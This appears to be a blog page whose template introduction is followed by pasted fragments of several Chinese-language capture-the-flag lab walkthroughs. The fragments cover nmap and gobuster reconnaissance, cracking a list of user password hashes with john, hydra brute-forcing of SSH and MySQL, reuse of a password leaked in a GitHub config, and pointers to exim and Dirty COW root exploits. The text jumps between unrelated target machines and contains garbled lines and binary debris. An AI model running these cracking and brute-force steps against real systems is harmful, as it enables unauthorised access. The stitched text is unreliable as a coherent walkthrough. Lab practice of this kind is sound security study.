welcome to my blog~!
this is an example introduction. feel free to customize it!
add more lines to make it personal.
things i love:
- coding
- cats
- coffee
this is an example introduction. feel free to customize it!
add more lines to make it personal.
alan:6515229daf8dbdc8b89fed2e60f107433da5f2cb
william:38882f3b81f8f2bc47d9f3119155b05f954892fb
malik:0e6ae9fe8af1cd4192865ac97ebf6bda414218a9
kevin:c6f7e34d5d08ba4a40dd5627508ccb55b425e279
ashley:553d917a396414ab99785694afd51df3a8a8a3e0
nick:ddf45997a7e18a25ad5f5cf222da64814dd060d5
sarah:d8b8dd5e7f000b8dea26ef8428caf38c04466b3e
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

bulldog (nick)
bulldoglover (sarah)

./customPermissionApp <username>sudo su root
SUPERultHimatePASHSWORDyouHCANTget
dH34%(AWAVAAUATL[]A\A]A^A_
SUPERultimatePASHSWORDyouCANTget
SUPERultimatePASSWORDyouCANTget
nmap --min-rate 10000 -sn 192.168.30.0/24
nmap --min-rate 10000 -p- -Pn 192.168.30.144
nmap --min-rate 10000 -sU -p- -oA scan/udp 192.168.30.144
nmap --min-rate 10000 -sT -sV -sC -O -p21,80,111,2049,7822,35313,40377,46457,55941 -Pn -oA scan/detail 192.168.30.144
nmap --min-rate 10000 -script=vuln -oA scan/vuln 192.168.30.144
21是ftp服务。
7822端口是ssh服务。
udp可以扫出来NFS服务。
登录页。查看源代码也没有特殊信息,文字描述大概就是我取名为m,你取名为n。

目录遍历。
gobuster dir -u http://192.168.30.142 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt -o dir/dirscan
/index.html (Status: 200) [Size: 1964]
/images (Status: 301) [Size: 317] [--> http://192.168.30.144/images/]
/manual (Status: 301) [Size: 317] [--> http://192.168.30.144/manual/]
/javascript (Status: 301) [Size: 321] [--> http://192.168.30.144/javascript/]
/hits.txt (Status: 200) [Size: 44]
/backups (Status: 200) [Size: 6301]
/backups.html (Status: 200) [Size: 325]
/mysite (Status: 301) [Size: 317] [--> http://192.168.30.144/mysite/]
/server-status (Status: 403) [Size: 302]
/index.html首页源代码。存在注释部分。目前不知道是什么内容。
…

80和7744(ssh)。
浏览器打开http://192.168.30.158会被转换为http://dc-2/,页面显示如下。

原因是目标 Web 服务器(位于 192.168.30.158)在它的配置中设置了强制重定向。
一开始,我们从浏览器向目标 IP 地址 (192.168.30.158) 发起 TCP 连接,并发送请求。
http://192.168.30.158
请求头:
GET / HTTP/1.1
Host: dc-2
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
当Apache服务器接收到请求时,它检查请求头中的 Host 字段。请求头: Host: 192.168.30.158,不是预期的域名 (dc-2)。

服务器会发送一个 HTTP 响应给你的浏览器,其中包含一个特殊的响应头:
curl -I 192.168.30.158
# -I 参数仅显示响应头部分
HTTP/1.1 301 Moved Permanently
Date: Fri, 28 Nov 2025 09:38:33 GMT
Server: Apache/2.4.10 (Debian)
Location: http://dc-2/
Content-Type: text/html; charset=UTF-8

…
22,80.
Drupal 8内容管理框架。
在robots.txt有许多路径,但不是都能打开或有价值,翻了一遍后还是选择目录爆破。
gobuster dir -u http://192.168.30.159 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
http://192.168.30.159/core/install.php

收集到版本号Drupal 8.7.6。
http://192.168.30.159/INSTALL.txt

http://192.168.30.159/core/INSTALL.txt
然后没思路了,去看了wp。思路很正常,但对于靶机太离奇。
去寻找作者源码仓库。
https://github.com/Dc7User/staffdb/blob/master/config.php
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
dc7user
MdR3xOgB7#dW

发现有一个定时任务。
https://github.com/DominicBreuker/pspy
pspy 是一款命令行工具,无需 root 权限即可监视进程。它允许您查看其他用户运行的命令、定时任务等的执行过程。非常适合在 CTF 比赛中枚举 Linux 系统。此外,它还能很好地向您的同事演示为什么在命令行中传递密钥参数是个糟糕的主意。

图中显示 /usr/sbin/exim4 -bd -q30m 正在运行。
exim4 在很多旧版本的 Debian/Ubuntu 靶机中是经典的提权点。如果是 4.87 到 4.91 之间,极大概率存在 CVE-2019-10149(The Return of the WIZard)。这是一个远程/本地代码执行漏洞,可以直接获取 Root 权限。

nmap漏洞扫描枚举出两个路径。
| http-enum:
| /info.php: Possible information file
|_ /icons/: Potentially interesting folder w/ directory listing
gobuster dir -u http://192.168.30.150 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt -o dirscan.txt
这里目录扫描也没有有用信息。
尝试对ssh和mysql服务进行弱口令爆破。
hydra -l root -P /usr/share/wordlists/fasttrack.txt ssh://192.168.30.150
hydra -l root -P /usr/share/wordlists/fasttrack.txt mysql://192.168.30.150

mysql弱口令破解成功,没有显示密码,应该是空密码。
mysql -u root -p -h 192.168.30.150 --skip-ssl

数据库登录成功。

发现有一个ssh的数据库,里面存在users表。

成功拿到一组凭证。
| 用户名 | 密码 |
|---|---|
| mistic | testP@$$swordmistic |

登录成功。
无。
[mistic@dpwwn-01 ~]$ uname -a
Linux dpwwn-01 3.10.0-957.el7.centos.plus.i686 #1 SMP Wed Nov 7 19:17:19 UTC 2018 i686 i686 i386 GNU/Linux
低版本,可以使用脏牛提权。先继续收集其他信息。